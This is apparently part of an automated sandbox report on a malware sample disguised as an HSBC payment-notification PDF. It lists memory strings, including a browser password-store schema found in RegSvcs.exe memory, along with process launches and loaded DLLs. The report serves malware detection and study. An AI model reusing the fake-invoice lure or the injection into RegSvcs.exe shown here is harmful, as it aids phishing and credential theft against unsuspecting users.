Source: AdobeCollabSync.exe.4.dr	Binary or memory string: INSERT INTO branches ( content_item_id, content_item_revision_id, branch_name, app_id, is_transient, record_created, modified, download_state) VALUES( :contentItemId, :contentItemRevisionId, :branchName, :appId, :isTransient, :recordCreated, :modified, :downloadState);
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: UPDATE content_items SET removed_from_server = :removedFromServer WHERE( creation_id = :creationId);
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: UPDATE branches SET modified = :modified WHERE( content_item_id = :contentItemId AND branch_name = :branchName AND app_id = :appId);
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: SELECT branches.content_item_id FROM branches JOIN content_items ON(content_items.creation_id = branches.content_item_id) WHERE( branches.app_id = :appId AND branches.branch_name = :branch1 AND branches.content_item_id = :contentItemId AND (( content_items.pending_local_delete = 1 AND content_items.removed_from_server = 0) OR branches.content_item_revision_id not in( SELECT branches.content_item_revision_id FROM branches WHERE( branches.app_id = :appId AND branches.branch_name = :branch2 AND branches.content_item_id = :contentItemId))));
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS resource_revisions ( revision_id TEXT PRIMARY KEY NOT NULL, rel_to_content_item TEXT NOT NULL, resource_type TEXT NOT NULL, media_type TEXT NOT NULL, locator TEXT NOT NULL, committed INTEGER NOT NULL, hashType TEXT DEFAULT NULL, hash TEXT DEFAULT NULL, storageSize INTEGER DEFAULT 0, width INTEGER DEFAULT 0, height INTEGER DEFAULT 0);
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: select count(*) from SQLITE_MASTER where type = "table";
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: UPDATE content_items SET pending_local_delete = :pendingLocalDelete WHERE( creation_id = :creationId);
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: INSERT INTO content_item_revisions( content_item_revision_id, cloud_etag, updated, local_etag, request_id, content_name) VALUES( :contentIemRevisionId, :cloudEtag, :updated, :localEtag, :requestId, :contentName);
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS content_item_revisions( content_item_revision_id TEXT PRIMARY KEY NOT NULL, cloud_etag TEXT DEFAULT NULL, cloud_version_id TEXT DEFAULT NULL, updated TIMESTAMP DEFAULT NULL, acl TEXT DEFAULT NULL, local_etag TEXT DEFAULT NULL, local_version_id TEXT DEFAULT NULL, request_id TEXT DEFAULT NULL, content_name TEXT DEFAULT NULL);
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS content_items( creation_id TEXT PRIMARY KEY NOT NULL, asset_id TEXT DEFAULT NULL, type TEXT NOT NULL, content_item_type TEXT NOT NULL, created TEXT NOT NULL, removed_from_server INTEGER DEFAULT 0 NOT NULL, pending_local_delete INTEGER DEFAULT 0 NOT NULL, update_seq_num INTEGER DEFAULT 0 NOT NULL);
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS sync_tokens ( content_item_id TEXT PRIMARY KEY NOT NULL, token TEXT DEFAULT NULL, last_sync_time TIMESTAMP DEFAULT NULL, device_mapping_id TEXT DEFAULT NULL);
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: UPDATE pending_requests SET request_status = :requestStatus, message = :message, status_code = :statusCode WHERE( pending_request_id = :pendingRequestId);
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: SELECT * FROM device_mappings WHERE( content_item_id = :contentItemId);
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: INSERT OR REPLACE INTO branches ( content_item_id, content_item_revision_id, app_id, is_transient, record_created, modified, download_state, branch_name) SELECT content_item_id, content_item_revision_id, app_id, is_transient, record_created, modified, download_state, :targetBranchname from branches WHERE branch_name = :srcBranchname AND content_item_id = :contentItemId AND app_id = :appId;
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: SELECT branches.content_item_id FROM content_item_relations JOIN branches ON( branches.content_item_id = content_item_relations.target_content_item_id) JOIN content_items ON( content_items.creation_id = content_item_relations.target_content_item_id) WHERE( content_item_relations.src_content_item_id = :srcContentItemId AND content_item_relations.rel = :relType AND branches.app_id = :appId AND branches.branch_name = :branch1 AND (( content_items.pending_local_delete = 1 AND content_items.removed_from_server = 0) OR branches.content_item_revision_id NOT IN ( SELECT branches.content_item_revision_id FROM content_item_relations JOIN branches ON( branches.content_item_id = content_item_relations.target_content_item_id) WHERE( content_item_relations.src_content_item_id = :srcContentItemId AND content_item_relations.rel = :relType AND branches.app_id = :appId AND branches.branch_name = :branch2))));
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS content_item_relations ( src_content_item_id TEXT NOT NULL, target_content_item_id TEXT NOT NULL, rel TEXT NOT NULL, PRIMARY KEY (src_content_item_id, target_content_item_id, rel));
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: INSERT INTO pending_requests( pending_request_id, request_type, content_item_id, context) VALUES( :pendingRequestId, :requestType, :contentItemId, :context);
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: SELECT *, (SELECT resource_content.resource_content FROM branches JOIN content_items ON (branches.content_item_id = content_items.creation_id) JOIN content_item_resources ON (branches.content_item_revision_id = content_item_resources.content_item_revision_id) JOIN resource_revisions ON (content_item_resources.resource_revision_id = resource_revisions.revision_id) JOIN resource_content ON (resource_revisions.hash = resource_content.resource_content_id) WHERE( branches.content_item_id = creation_id_local AND branches.branch_name = 'error' AND branches.app_id = :appId)) as error_payload, (SELECT 1 from branches where branch_name = 'conflict' AND content_item_id = creation_id_local) as is_conflicted, ( SELECT 1 FROM branches JOIN content_items ON(content_items.creation_id = branches.content_item_id and branches.content_item_id = creation_id_local) WHERE( branches.app_id = :appId AND branches.branch_name = 'current' AND (( content_items.pending_local_delete = 1 AND content_items.removed_from_server = 0) OR branches.content_item_revision_id not in( SELECT branches.content_item_revision_id FROM branches WHERE( branches.app_id = :appId AND branches.branch_name = 'base'))))) as is_sync_pending FROM ( SELECT content_item_relations.src_content_item_id, branches.download_state, branches.record_created, branches.modified, content_items.creation_id , content_items.creation_id as creation_id_local, branches.content_item_id, content_items.asset_id, content_items.type, content_items.content_item_type, content_items.removed_from_server, content_items.pending_local_delete, content_item_revisions.cloud_etag, content_item_revisions.updated, content_item_revisions.local_etag, content_item_revisions.request_id, content_item_revisions.content_name, content_item_resources.resource_cloud_etag , content_item_resources.resource_local_etag , resource_revisions.rel_to_content_item , resource_revisions.resource_type, resource_revisions.committed, resource_content.resource_content FROM branches JOIN content_items ON (branches.content_item_id = content_items.creation_id) JOIN content_item_revisions ON (branches.content_item_revision_id = content_item_revisions.content_item_revision_id) JOIN content_item_resources
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: UPDATE content_item_revisions SET local_etag = :localEtag, request_id = :requestId, updated = :updated WHERE( content_item_revision_id IN ( SELECT content_item_revision_id FROM branches WHERE( content_item_id = :contentItemId AND branch_name = :branchName ANDapp_id = :appId)));
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: SELECT pending_request_id, request_type, content_item_id, context, pending_request_created, request_status, message, status_code, device_mapping_id FROM pending_requests WHERE( request_type = :requestType and content_item_id = :contentItemId);
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: UPDATE device_mappings SET unPinned = 1 WHERE(content_item_id = :contentItemId);
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS pending_requests ( pending_request_id TEXT PRIMARY KEY NOT NULL, request_type TEXT NOT NULL, content_item_id TEXT DEFAULT NULL, context TEXT DEFAULT NULL, pending_request_created TIMESTAMP DEFAULT (strftime('%Y-%m-%dT%H:%M:%SZ', 'now', 'localtime')) NOT NULL, request_status TEXT DEFAULT "CREATED" NOT NULL, message TEXT DEFAULT NULL, status_code INTEGER DEFAULT -1 NOT NULL, device_mapping_id TEXT DEFAULT NULL, UNIQUE (content_item_id, request_type, request_status));
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: SELECT content_item_revisions.cloud_etag FROM content_items JOIN branches ON (branches.content_item_id = content_items.creation_id)JOIN content_item_revisions ON (branches.content_item_revision_id = content_item_revisions.content_item_revision_id)WHERE( content_items.asset_id = :assetId AND branches.branch_name = :branchName AND branches.app_id = :appId);
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: SELECT content_items.creation_id FROM branches JOIN content_items ON (branches.content_item_id = content_items.creation_id) JOIN content_item_revisions ON (branches.content_item_revision_id = content_item_revisions.content_item_revision_id) WHERE (branches.branch_name = 'current' AND branches.app_id = :appid) AND ((content_items.pending_local_delete = 1 AND content_items.removed_from_server = 0) OR (content_item_revisions.content_item_revision_id) NOT IN ( SELECT content_item_revisions.content_item_revision_id FROM branches JOIN content_items ON (branches.content_item_id = content_items.creation_id) JOIN content_item_revisions ON (branches.content_item_revision_id = content_item_revisions.content_item_revision_id) WHERE (branches.branch_name = 'base' AND branches.app_id = :appid))) AND content_items.creation_id NOT IN ( SELECT content_item_id FROM branches WHERE( branch_name = 'error'));
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: SELECT creation_id FROM content_items WHERE asset_id = :assetId;
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: SELECT * FROM device_mappings WHERE( unPinned = 1);
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: SELECT content_item_relations.src_content_item_id, branches.download_state, content_items.creation_id,branches.content_item_id,branches.record_created, branches.modified, content_items.asset_id, content_items.type, content_items.content_item_type, content_items.removed_from_server, content_items.pending_local_delete, content_item_revisions.cloud_etag, content_item_revisions.updated, content_item_revisions.local_etag, content_item_revisions.request_id, content_item_revisions.content_name, content_item_resources.resource_cloud_etag , content_item_resources.resource_local_etag , resource_revisions.rel_to_content_item , resource_revisions.resource_type, resource_revisions.committed, resource_content.resource_content, (select 1 from branches where branch_name = 'conflict' AND content_item_id = :id) as is_conflicted, (SELECT 1 FROM branches JOIN content_items ON(content_items.creation_id = branches.content_item_id) WHERE( branches.app_id = :appId AND branches.branch_name = 'current' AND branches.content_item_id = :id AND (( content_items.pending_local_delete = 1 AND content_items.removed_from_server = 0) OR branches.content_item_revision_id not in( SELECT branches.content_item_revision_id FROM branches WHERE( branches.app_id = :appId AND branches.branch_name = 'base' AND branches.content_item_id = :id))))) as is_sync_pending, (SELECT content_item_revisions.cloud_etag FROM content_items JOIN branches ON (branches.content_item_id = content_items.creation_id)JOIN content_item_revisions ON (branches.content_item_revision_id = content_item_revisions.content_item_revision_id)WHERE( content_items.asset_id = :collectionId AND branches.branch_name = :branchName AND branches.app_id = :appId)) as collection_cloud_etag FROM branches JOIN content_items ON (branches.content_item_id = content_items.creation_id) JOIN content_item_revisions ON (branches.content_item_revision_id = content_item_revisions.content_item_revision_id) JOIN content_item_resources ON (branches.content_item_revision_id = content_item_resources.content_item_revision_id) JOIN resource_revisions ON (content_item_resources.resource_revision_id = resource_revisions.revision_id) JOIN content_item_rel
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: SELECT * FROM device_mappings WHERE( content_item_type = :resourceType);
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS content_item_updates ( seq_num INTEGER PRIMARY KEY NOT NULL, app_id TEXT NOT NULL, content_item_local_id TEXT NOT NULL, time TIMESTAMP NOT NULL, operation TEXT NOT NULL);
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: UPDATE content_items SET asset_id = :assetId WHERE( creation_id = :creationId);
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS device_mappings ( device_mapping_id TEXT PRIMARY KEY NOT NULL, content_item_id TEXT NOT NULL, content_item_type TEXT NOT NULL, include_rel_types TEXT DEFAULT NULL, include_depth INTEGER DEFAULT 0 NOT NULL, branch TEXT DEFAULT NULL, device_mapping_created TIMESTAMP DEFAULT (strftime('%s', 'now')) NOT NULL, collection_id TEXT DEFAULT NULL, TTL INTEGER DEFAULT 0 NOT NULL, Priority INTEGER DEFAULT 0 NOT NULL, app_info TEXT NOT NULL, unPinned INTEGER DEFAULT 0 NOT NULL, UNIQUE (content_item_id, branch));
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: SELECT pending_request_id, request_type, content_item_id, context, pending_request_created, request_status, message, status_code, device_mapping_id FROM pending_requests;
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: INSERT INTO resource_content( resource_content_id, resource_content) VALUES ( :resourceContentId, :resourceContent);
Source: AdobeCollabSync.exe.4.dr	Binary or memory string: SELECT *FROM pending_requests WHERE(content_item_id = :contentItemId);
Source: RegSvcs.exe, 00000005.00000002.2636185001.0000000002835000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.2636185001.0000000002844000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.2636185001.0000000002858000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.2636185001.0000000002865000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.2642739426.000000000376D000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.2636185001.0000000002826000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

ReversingLabs: Detection: 78%

Source: unknown	Process created: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe "C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe"
Source: unknown	Process created: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe "C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe"
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe"
Source: unknown	Process created: C:\Windows\System32\alg.exe C:\Windows\System32\alg.exe
Source: unknown	Process created: C:\Windows\System32\FXSSVC.exe C:\Windows\system32\fxssvc.exe
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe"
Source: unknown	Process created: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
Source: unknown	Process created: C:\Windows\System32\msdtc.exe C:\Windows\System32\msdtc.exe
Source: unknown	Process created: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe C:\Windows\system32\PerceptionSimulation\PerceptionSimulationService.exe
Source: unknown	Process created: C:\Windows\SysWOW64\perfhost.exe C:\Windows\SysWow64\perfhost.exe
Source: unknown	Process created: C:\Windows\System32\Locator.exe C:\Windows\system32\locator.exe
Source: unknown	Process created: C:\Windows\System32\SensorDataService.exe C:\Windows\System32\SensorDataService.exe
Source: unknown	Process created: C:\Windows\System32\snmptrap.exe C:\Windows\System32\snmptrap.exe
Source: unknown	Process created: C:\Windows\System32\Spectrum.exe C:\Windows\system32\spectrum.exe
Source: unknown	Process created: C:\Windows\System32\OpenSSH\ssh-agent.exe C:\Windows\System32\OpenSSH\ssh-agent.exe
Source: unknown	Process created: C:\Windows\System32\TieringEngineService.exe C:\Windows\system32\TieringEngineService.exe
Source: unknown	Process created: C:\Windows\System32\AgentService.exe C:\Windows\system32\AgentService.exe
Source: unknown	Process created: C:\Windows\System32\vds.exe C:\Windows\System32\vds.exe
Source: unknown	Process created: C:\Windows\System32\wbengine.exe "C:\Windows\system32\wbengine.exe"
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe"	Jump to behavior

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: tapi32.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: credui.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: fxstiff.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: fxsresm.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: ualapi.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: msdtctm.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: msdtcprx.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: msdtclog.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: mtxclu.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: clusapi.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: xolehlp.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: mtxclu.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: clusapi.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: resutils.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: resutils.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: comres.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: msdtcvsp1res.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: mtxoci.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: oci.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Section loaded: hid.dll
